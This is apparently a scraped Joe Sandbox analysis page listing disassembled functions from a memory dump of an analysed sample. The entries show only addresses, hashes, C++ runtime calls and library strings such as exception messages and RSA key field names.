Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$ClearException@8ThrowVariantXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 2677079660-3788999226
Opcode ID: 6a82736dfedbeec5f7a9d275d3c1aacce61277f70d75291ea2c46d6b4311e746
Instruction ID: f2f322657a4b962cb5a10487ff5c014dd09517ecdde272673b47bbe358222da0
Opcode Fuzzy Hash: 6a82736dfedbeec5f7a9d275d3c1aacce61277f70d75291ea2c46d6b4311e746
Instruction Fuzzy Hash: 6B21B676A056059FE710CF68D884B7EB7F5FF48324F51462EE555E3780D770A9008B91

Function 6D015750 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D01576B

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

std::_Xinvalid_argument.LIBCPMT ref: 6D015782

Strings

string too long, xrefs: 6D015766, 6D01577D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: abcd262a5cdf386b19d1a2d7d4fda6ebdb36fc0b52e2c13ff89a8461428aaef6
Instruction ID: 778b49e9de5e6b10f4efb50af933ca3223f40912d5464f27bd98713fe8b949ed
Opcode Fuzzy Hash: abcd262a5cdf386b19d1a2d7d4fda6ebdb36fc0b52e2c13ff89a8461428aaef6
Instruction Fuzzy Hash: 4411A53630C6119FF3219A9CBC81B7AF7FDEF95620B61071FE5528B681C761980483A1

Function 6D0046B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D0046C4

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D00470B

Strings

string too long, xrefs: 6D0046BF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 1785806476-2556327735
Opcode ID: 7eb88d3f9407c8e85400fc190aab2e360e3626699466c2c05db926a7217ab742
Instruction ID: 75d34ae6809d9585cf6a9f106e4d025b3b136b39063f5612fef4a1ce3a23f471
Opcode Fuzzy Hash: 7eb88d3f9407c8e85400fc190aab2e360e3626699466c2c05db926a7217ab742
Instruction Fuzzy Hash: F411B9761087117FF7209E78A8C0B7EB7A8AF69214F200A2ED59B83582D761E4488365

Function 6D034D30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D034E00

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

ArraySink: missing OutputBuffer argument, xrefs: 6D034D91
OutputBuffer, xrefs: 6D034D77

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: ArraySink: missing OutputBuffer argument$OutputBuffer
API String ID: 3718517217-3781944848
Opcode ID: 528d7883aebf50bc285db52d975b3a444c5224586b885279d1502eff788764a9
Instruction ID: 812609c1e8fb29648db4c8ac02c316a48cb50c58e84667757c66f20a74c9df2c
Opcode Fuzzy Hash: 528d7883aebf50bc285db52d975b3a444c5224586b885279d1502eff788764a9
Instruction Fuzzy Hash: 273105B550C780AFE310CF68C480B5AFBE4BB99714F408A1EF5A987391DB74D508CB52

Function 6D010150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D010201

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

StringSink: OutputStringPointer not specified, xrefs: 6D01019B
OutputStringPointer, xrefs: 6D01018C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified
API String ID: 3718517217-1331214609
Opcode ID: 7b884588275828c81e8d01c07ddc559fd4b34413a6a5bfca5ab71342d7fd8c24
Instruction ID: ccbdcd3872b5b04420de896644469cc46cbd489eb4c66f8c88431378565468d4
Opcode Fuzzy Hash: 7b884588275828c81e8d01c07ddc559fd4b34413a6a5bfca5ab71342d7fd8c24
Instruction Fuzzy Hash: 5A215071D08288BFEB04DFE8D890BEDFBB4EF09314F10825AE525A7682DB359504CB50

Function 6D004620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D004636

Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D06913A
Part of subcall function 6D069125: __CxxThrowException@8.LIBCMT ref: 6D06914F
Part of subcall function 6D069125: std::exception::exception.LIBCMT ref: 6D069160

_memmove.LIBCMT ref: 6D00466F

Strings

invalid string position, xrefs: 6D004631

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 51808daab5c06ccc1be0bf7380f14eed62430425366f0f41f443278f2c287917
Instruction ID: c5a70eb61a036b25d6123a2d36a93b6ba9753740379534de1e79ae974850bfc7
Opcode Fuzzy Hash: 51808daab5c06ccc1be0bf7380f14eed62430425366f0f41f443278f2c287917
Instruction Fuzzy Hash: 3101DF3130474077F3218E5CEC80B1AB7EDEBED614B25491DD195CB701E6B1DC4183A6

Function 6D03ACA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D03ACF8

Strings

Modulus, xrefs: 6D03AD30
PublicExponent, xrefs: 6D03AD1F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: fe4131dab3a25e6f48b206c88e4a47dd116e5cdeef545706cb4090d92335ab12
Instruction ID: 334deba7b938e658c00930b605803f589dcf409b51ab63a006d7dedd084f4917
Opcode Fuzzy Hash: fe4131dab3a25e6f48b206c88e4a47dd116e5cdeef545706cb4090d92335ab12
Instruction Fuzzy Hash: 7A11E0309193169FDA00DF6C8844A5BFBE4FFD6248F12461EF9859B261DB30D848CB92

Function 6D05B7F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

type_info::operator!=.LIBCMT ref: 6D05B848

Strings

Modulus, xrefs: 6D05B880
PublicExponent, xrefs: 6D05B86F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: type_info::operator!=
String ID: Modulus$PublicExponent
API String ID: 2241493438-3324115277
Opcode ID: 16d683e13dcdf9cae4cde99377b6174a24511bdc77f117092ba949d1be8801f8
Instruction ID: a9eda9ddd2bdf3d976f149b38432605e8d97b3d98d034032669c23c085081dac
Opcode Fuzzy Hash: 16d683e13dcdf9cae4cde99377b6174a24511bdc77f117092ba949d1be8801f8
Instruction Fuzzy Hash: 3E11E370909345AED700DF28994076BFBE4EFD5244F01066EF9845B291DB30E848CBA6

Function 6D03B5F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D03B605

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D03B634

Strings

vector<T> too long, xrefs: 6D03B600

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: a1f1d6f9517dca1ff49c209d0a37899e3e77ac721eb36f06879cd4361368afc3
Instruction ID: 8ac2e2bd70836d51d113e8c0c42fb79ba8b045d4607f88a9edd3ca9925ad1aef
Opcode Fuzzy Hash: a1f1d6f9517dca1ff49c209d0a37899e3e77ac721eb36f06879cd4361368afc3
Instruction Fuzzy Hash: F401F7B26046068FE324DFA9EC90E6BB3DCEF54214715492DE99BC3650E734F904CB60

Function 6D064230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D064241

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D064277

Strings

vector<bool> too long, xrefs: 6D06423C

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<bool> too long
API String ID: 1785806476-842332957
Opcode ID: 2f0924f2af46b4c9f6fca52c3c7a1635cb2753940722bfbb170d5ed504f461bc
Instruction ID: 9aa5a9682b167d5ac67f06b818ecdd23605a45b4033f2c7ada364efffcd526c8
Opcode Fuzzy Hash: 2f0924f2af46b4c9f6fca52c3c7a1635cb2753940722bfbb170d5ed504f461bc
Instruction Fuzzy Hash: E101FC716041066FE704CFA9DCE09BEF399FB84354FA1422EE51687640D730E918C7A0

Function 6D063840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D063855

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D063880

Strings

vector<T> too long, xrefs: 6D063850

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 737e81f11ff9b254ad1ae737865a76e4823c4f6d0cb172e44ac9d14ab66fff53
Instruction ID: 08a77656eda84300ea0be13f6a97436f9286732a00a5e99b355a334e4e7432ae
Opcode Fuzzy Hash: 737e81f11ff9b254ad1ae737865a76e4823c4f6d0cb172e44ac9d14ab66fff53
Instruction Fuzzy Hash: 570188715047055FE314DFEDDC8496BB3D8EF44214715493DE59AD3650EA70F80487B0

Function 6D015160 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D015173

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

_memmove.LIBCMT ref: 6D01519E

Strings

vector<T> too long, xrefs: 6D01516E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: ec6cbdbc4a8b92c567b974f996ecdea623efa6333b3e6fe129d5fefd875ef93c
Instruction ID: b58dc893e89d10c34a905ab80cf1be954893dba500a4ecae2a6a55d9e4b4d3a0
Opcode Fuzzy Hash: ec6cbdbc4a8b92c567b974f996ecdea623efa6333b3e6fe129d5fefd875ef93c
Instruction Fuzzy Hash: 0D01A2B16082069FE728CFE8DC95A7BB3E8EF54244715492DE95AC7640E731F800CB61

Function 6D06BFB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6D06ABC3: __getptd.LIBCMT ref: 6D06ABC9
Part of subcall function 6D06ABC3: __getptd.LIBCMT ref: 6D06ABD9

__getptd.LIBCMT ref: 6D06BFC3

Part of subcall function 6D06EAE6: __getptd_noexit.LIBCMT ref: 6D06EAE9
Part of subcall function 6D06EAE6: __amsg_exit.LIBCMT ref: 6D06EAF6

__getptd.LIBCMT ref: 6D06BFD1

Strings

csm, xrefs: 6D06BFDF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction ID: ae1939e9455ef472c0a13b99787d349cd791d2e7cfcec62ecb80a078da02533e
Opcode Fuzzy Hash: 86966626eb4e0d809bdbd7093bece3461dc5396f3a0cf366651c66bb381db945
Instruction Fuzzy Hash: 140169388083868FFF248F61D444BADBBF5BF08311F61582EE1519A290DB389680DB69

Function 6D073EA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 6D073ED9
DName::DName.LIBCMT ref: 6D073EE5

Strings

{flat}, xrefs: 6D073ED4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: 09be83cc4d112cd7796b035dde7f9321e61afdb8347b6a20b79c8690c5add182
Instruction ID: 0fc4e7355ef4fa6a04141831fd63a82739c904627dc2a9da983a3a3526d1a693
Opcode Fuzzy Hash: 09be83cc4d112cd7796b035dde7f9321e61afdb8347b6a20b79c8690c5add182
Instruction Fuzzy Hash: 3DF0E5751442449FFB20CF58C060BBC3BA0DB4A355F09C145E96C0F283C731D442CB59

Function 6D017673 Relevance: 5.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,4E8A916F), ref: 6D0176AD
LeaveCriticalSection.KERNEL32(?,?,?,4E8A916F), ref: 6D0176FF
EnterCriticalSection.KERNEL32(4E8A916F,?,?,?,4E8A916F), ref: 6D01770D
LeaveCriticalSection.KERNEL32(4E8A916F,?,00000000,?,?,?,?,4E8A916F), ref: 6D01772A

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

Part of subcall function 6D016D40: _rand.LIBCMT ref: 6D016DEA

